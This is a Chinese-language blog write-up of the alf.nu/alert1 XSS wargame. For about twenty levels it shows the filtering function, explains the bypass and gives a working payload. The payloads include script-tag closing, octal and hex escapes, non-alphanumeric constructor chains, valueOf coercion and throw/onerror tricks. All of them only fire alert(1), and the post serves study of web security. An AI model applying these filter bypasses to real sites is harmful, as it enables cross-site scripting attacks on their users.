前言

这些天在alf.nu/alert1上做了XSS练习题,目前大部分做出来了,但有些题目并不是最优解。还剩下2道题没有做出(Fruit3, Qunie),在此做个记录。欢迎大家交流。

Warmup

1
2
3
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}

这题对输入没有限制,只要闭合掉console.log即可。
solution(12 chars): ");alert(1,"




Adobe

1
2
3
4
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

这题escape将输入的引号"转换为了\\",使得引号变成了字面量,上一题的方法无效了。不过如果输入为\",那么就会转换为\\\",这个时候,本来是转义引号的,但变成了转义反斜杆了,从而引号可以逃脱转义了。
solution(14 chars): \");alert(1)//




JSON

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

这题对输入的字符串用了JSON.stringify()(相关介绍)来处理字符串。简单来说,就是过滤了\,"等字符,分别转化为\\,\"等,但没有过滤<,>,/字符,这就够用了。既然闭合不了log函数,那就闭合script标签吧
solution(27 chars): </script><script>alert(1)//




JavaScript

1
2
3
4
5
6
7
8
9
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

同样因为JSON.stringify()的原因没办法用直接用",但是由于这次注入的地方是url,所以可以用URL编码的办法讲"转换为%22
solution(15 chars): %22);alert(1)//




Markdown

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

首先分析这题的处理方法

  1. 首先,对于任何输入,先过滤掉<"变为实体编码&lt&quot
  2. 如果字符串中有包含http://开头的字符串,例如http://xiao.world则变为<a href="http://xiao.world">http://xiao.world</a>
  3. 如果字符串中包含[[img_src|img_alt]]格式的字符串,则变为<img alt="img_alt" src="this_src.git">
  4. 返回字符串

对于这个题目,因为尖括号和引号都被过滤了,所以要从这里入手会比较困难。但是可以利用第二点和第三点的规则来做突破口。为甚么这么说呢?既然自己没办法闭合属性的引号或者标签,但是规则二转换之后会带有引号,利用这个引号,就可以闭合掉规则三转换之后的img标签的alt属性了。
输入:[[a|http://onerror='alert(1)]]
经过规则一转换后:[[a|<a href="http://onerror='alert(1)']]">http://onerror='alert(1)']]</a>
再经过规则二转换: <img alt="<a href="http://onerror='alert(1)'" src="a.gif">">http://onerror='alert(1)']]</a>
感谢HTML语言松散的特性,以上即相当于: <img alt="<a href=" http:="" onerror="alert(1)" "="" src="a.gif">
再精简一点,只看关键部分: <img alt="<a href=" onerror="alert(1)" src="a.git">
至此,大功告成😄。
solution(31 chars): [[a|http://onerror='alert(1)']]




DOM

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

关键在于理解第八行的代码。
如果输入为Element#alert
第八行为:document["createElement"].apply(document, "alert")
相当于document.createElement("alert")
这样只是创建了一个<alert>标签,我们没有办法注入。所以查一下document有哪些create开头的方法,一下列出一些常用的:

createElement
createTextNode
createComment
createAttribute
createEvent

这里看到有createComment就令人特别开心。所以答案见下
solution(32 chars): Comment#><iframe onload=alert(1)




Callback

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

随便输入点看看效果吧:input1#input2
输出: <script>input1({"userdata":"input2"})</script>
因为input1有输入要求,但是input2可以为任意值,所以我们的注入可以放在input2,但是在input2之前有一堆奇奇怪怪的东西,最直接简单的办法就是用引号闭合掉他们就好了。所幸input1并没有把单引号过滤掉,所以答案就是
solution(15 chars): '#';alert(1);//




Skandia

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

题目真短,但心思没少花呀。
js的方法名是大小写敏感的,如果把alert变为了ALERT,那就不行了。但是HTML标签名和属性名是不区分大小写的,所以我们可以闭合掉<script>标签,然后自己注入标签,利用onload属性出发alert,但是有个问题就是alert大小写怎么办呢?依我个人测试和理解(暂时未找到根据),在属性值处使用实体编码的话,是可以自动解码的,其他地方则不行。所以,问题解决了。
solution(53 chars): </script><iframe onload=&#x61&#x6C&#x65&#x72&#x74(1)>
但我这个解用了53个字符,并不是最短的,但是有人也有人做到了30多和40多的,我暂时也想不到什么办法。有知道的请告诉我一声,谢谢😄




Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

简单来说,对输入字符串过滤掉尖括号,引号等,然后将处理完的字符串替换掉模板字符串中{name}。但是百密一疏,字符串中可以用8进制或者16进制来表示字符。所以答案就出来了。<对应的八进制是\74
solution(27): \74iframe onload=alert(1)//




JSON ][

1
2
3
4
5
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

这道题也挺有意思的。格式化之后再把</script替换成空串。使用一点技巧就可以绕过了。
solution(35): </scr</scriptipt><script>alert(1)//




Callback ][

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

和上面的题目Callback一样,只是因为过滤了/,不能用//注释了而已,那就换一种注释方式吧
solution(16): '#';alert(1)<!--




Skandia ][

1
2
3
4
5
function escape(s) {
if (/[<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

首先考虑到可以闭合script标签,但是这题过滤了尖括号,想到上一题Template的方法,即用十六进制或八进制来表示尖括号,但是经过测试发现,在这题并不管用。想不明白为甚么,但是测试结果是:字符串的replace方法是认不出十六进或者八进制代表的字符的,但是test方法却可以。所以上一题Template用的过滤方法replace过滤<括号时,由于我们用了\74来表示,而replace方法并不认识它,所以绕过了过滤。但是这题用了test方法,面对同样的情况,它知道\74即代表着<,所以这个方法无效了。
既然不能闭合script,那就可以考虑闭合log,应该注入的payload是");alert(1)//,但是alert转为大写就不行了。此时最简单粗暴的方法是直接用jjencode( an online non-alphanumeric encoder)。将alert(1)用jjencode encode得到的转码后的结果,由于结果太长了,所以用jjencode代表,则
solutioon(538)为: ");jjencode//

但是538个字符还是太长了。在pwntester的博客里看到了一个更好的办法。
首先应该注入的payload是"+alert(1))//"
但是要想办法用相等效果的语句替换掉alert(1)。
在博客上看到一个方法也可以触发alert(1)

1
[]["sort"]["constructor"]("alert(1)")()

这个关键在于Function("code")。它可以将字符串作为参数传进去,返回一个以传进去的字符串为函数体的匿名函数。所以这个函数可以让你将字符串当作代码来执行。我们可以通过[]['sort']['constructor']来获得这个函数。

顺便简单说一下,[]定义了一个空数组,数组自带了很多方法,sort是其中一个,还有很多方法,随便用一个都行,这里就用了sort。[]["sort"]的效果相当于[].sort
所有payload可以改为"+[]["sort"]["constructor"]("alert(1)")())+"
此时又多了一个新的问题,用什么来代替上面的三个字符串呢?
这时候就可以用题目Template中用到的方法了,用八进制来代替字母。
所以答案就出来了:
solution(99): "+[]["\160\157\160"]["\143\157\156\163\164\162\165\143\164\157\162"]('\141\154\145\162\164(1)')()+"





iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function escape(s) {
var tag = document.createElement('iframe');

// For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// https://4i.am/?...raw=... just outputs whatever you pass in.
//
// Alerting from 4i.am won't count.

s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

window.WINNING = function() { youWon = true; };

tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}

这题其实也挺好玩的,如果比较熟悉iframe的特性的话,其实也很简单很快就做出来了,但是如果不知道的话,那就挺花时间的了。
这题关键在于使得youWon这个变量的值为true,然后就可以触发alert(1)了。首先看一下我们注入的地方是一个URL,题目有说,这个url页面返回的页面就是我们输入的内容。也就是说iframe的内容是由我们决定的。
我们的输入会包裹在一个script标签里面。
要做出这道题,我们要知道两点iframe的特性

  1. iframe的name属性值,同时会注入到父页面的全局窗口对象中。
  2. iframe的name属性,则iframe的window.name的值同时会设置为这个name属性值。反过来也是一样的,不过有个前提时iframe并没有设置name属性。也就是说如果设置了iframe的window.name,同时也会将iframe的name属性值设置为同样的值(前提是它不存在的话,不能被覆盖)

所以,答案出来了。
solution(13): name='youWon'




TI(S)M

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); }

return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}

这题思路也是由刚刚那个博主提供的。原理我暂时也不是很清楚。大概意思就是在HTML5中如果遇到<!--<script>,就会认为接下的代码是JS代码,直到遇到结束的script标签,但是必须得保证有相应的->,否则会认为语法出错的。
具体的内容可以到刚刚那个博主里看吧,我就直接给出答案了。
solution(25): if(alert(1)/*<!--<script>




JSON Ⅲ

1
2
3
4
5
6
7
8
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log('+json+')</script>';
}).join('');
}

利用上一题的办法就可以做出来了。
solution(29): <!--<script>#)/;alert(1)//-->
分析一下这个答案。
输入这个答案,会输入如下结果:

1
<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>

因为我们注入了<!--<script>,导致parser将这一段都当作JS来处理。

1
console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")

js引擎会解析成如下的样子:

1
console.log("junk_string") < /junk_regexp/ ; alert(1) // -->

其中
junk_string代表: <!--<script>
junk_regexp代表: script><script>console.log("")
我们的solution中注入的其中两个字符)/就为了欺骗JS引擎,JS引擎会将两个斜杠之间的内容当作正则表达式处理,用这个办法来闭合掉这些多余的字符。




Skandia Ⅲ

1
2
3
4
5
function escape(s) {
if (/[\\<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

这题和上一题Skandia ][差不多的做法。不过因为过滤多了一个反斜杆,所以不能用八进制来代替了。那就要换一种思路。
先来看看下面的表格。

这里的表格是说,左边的输入是可以返回右边的字符串的。大家可以在试试。
所以可以用这个办法来获取我们需要的字符串

所以最后的payload(246):

1
"+[][(''+!1)[3]+(''+{})[1]+(''+!0)[1]+(''+!0)[0]][(''+{})[5]+(''+{})[1]+(''+{}[0])[1]+(''+!1)[3]+(''+!0)[0]+(''+!0)[1]+(''+!0)[2]+(''+{})[5]+(''+!0)[0]+(''+{})[1]+(''+!0)[1]]((''+!1)[1] + (''+!1)[2] + (''+!1)[4] +(''+!0)[1]+(''+!0)[0]+"(1)")())//`

如果把我们所需要的字母都赋给一个变量,那么这个payload可以更短一些

1
_=''+!1+!0+{}[0]+{}  //_="falsetrueundefined[object Object]"

所以payload可以缩短成144个字符:

1
");_=''+!1+!0+{}[0]+{};[][_[3]+_[19]+_[6]+_[5]][_[23]+_[19]+_[10]+_[3]+_[5]+_[6]+_[7]+_[23]+_[5]+_[19]+_[6]](_[1]+_[2]+_[4]+_[6]+_[5]+'(1)')()//





RFC4627

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape(text) {
var i = 0;
window.the_easy_but_expensive_way_out = function() { alert(i++) };

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."

if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, '')))) {
try {
var val = eval('(' + text + ')');
console.log('' + val);
} catch (_) {
console.log('Crashed: '+_);
}
} else {
console.log('Rejected.');
}
}

据说这题是基于真实的案例,Stefano Di Paola记载在这篇文章中。
仔细看一下这个表达式,它是允许我们输入self的,如果是这样的话,我们就可以通过它来调用全局函数the_easy_but_expensive_way_out了。
这题的技巧就是让一个对象和一个值或者一个字符相加。这样JS引擎就会去计算我们的对象的值,怎么计算呢?就是调用这个对象的valueOf方法,如果我们将valueOf方法定义为题目中的the_easy_but_expenssive_way_out,,就可以触发alert函数了,但是由于是alert(i++),i从0开始,所以我们要调用两次。
solution(103): {"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}
需要提醒的是,第一次是由eval调用,第二次是由console.log调用。




Brunn

1
2
3
4
5
6
function escape(s) {
http://www.avlidienbrunn.se/xsschallenge/

s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
return "<script> var email = '" + s + "'; <\/script>";
}

分号尖括号都被过滤掉了,所以普通的办法是无效的。但是上一题的方法还是有用。
所以应该构造的payload是:
'+{valueOf:Function('alert(1)')}//
或者'+{valueOf:function(){alert(1)}}//
或者'+{valueOf:()=>{alert(1)}}//
或者'+{valueOf:a=>{alert(1)}}//
但是有新的一个问题就是不能使用小括号和中括号。
对于这个问题,可以用Tag Function来解决这个问题。
solution(85):

1
'+{valueOf:Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`}//





No

1
2
3
4
5
6
7
8
9
10
// submitted by Stephen Leppik

function escape(s) {
s = s.replace(/[()`<]/g, ''); // no function calls

return '<script>\n' +
'var string = "' + s + '";\n' +
'console.log(string);\n' +
'</script>';
}

参考资料:XSS technique without parentheses
solution(39): ";onerror=eval;throw'=alert\x281\x29'//




K’Z’K

1
2
3
4
5
6
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
return '<script>console.log("' + s + '");</script>';
}

这个题要用的办法还是和题目一样Skandia ][],但是不用全部都用八进制来替换,只要替换掉元音字母就可以了。
solution(60): ",[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')(),"





K’Z’K

1
2
3
4
5
6
7
8
9
// submitted by Stephen Leppik
function escape(s) {
// remove vowels and escape sequences in honor of K'Z'K
// y is only sometimes a vowel, so it's only removed as a literal
s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>]/g, '');
return '<script>console.log("' + s + '");</script>';
}

这题有个正则替换,将我们的八进制或者十六进制都给替换成空了,但是我们可以结合上一题的做法和题目JSON ][的方法就可以了。
solution(85): ");[]["p\x\x6f6fp"]["c\x\x6f6fnstr\x\x7575ct\x\x6f6fr"]('\x\x6161l\x\x6565rt(1)')()//





K’Z’K

1
2
3
4
5
6
7
8
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>\\]/g, '');
return '<script>console.log("' + s + '");</script>';
}

这题复杂一点,没想到好办法。所以还是用老办法。
solution(190):

1
");[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()//





Fruit 1

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
for (var i=0; i<n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') { n.removeAttribute(name); }
}
}
[].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}

这个题目的漏洞来源于代码的逻辑不严谨。
关键在于第6行中的i<n.attributes.length,但是这个length是动态变化的,导致如果有多个属性的时候,就还剩下一个属性是删不掉了。
这样的话我们就构造多个属性好了,将onload=alert(1)放后面。
solution(26): <iframe t onload=alert(1)>





Fruit 2

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
for (var i=0; i<n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') { n.removeAttribute(name); }
}
}
[].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}

这一题改变了第五行的if语句,看不出来会带来什么不同的影响。
至少对于我上一题的解法没影响,所以用同样的方法就可以。




Fruit 3

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
for (var i=0; i<n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') { n.removeAttribute(name); i--; }
}
}
[].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}

不会。




Quine

1
2
3
4
5
6
7
8
9
10
11
12
13
// submitted by Somebody
function escape(s) {
// We've got a quine level in all of the other
// games, so why not have one here?
var win = alert;
window.alert = function(t) {
if (t === s)
win(1);
else
console.log("Alert: " + t + "\n(That's not a quine)");
}
return s;
}

这题很有意思。可惜我不会啊。





参考博客-上

参考博客-下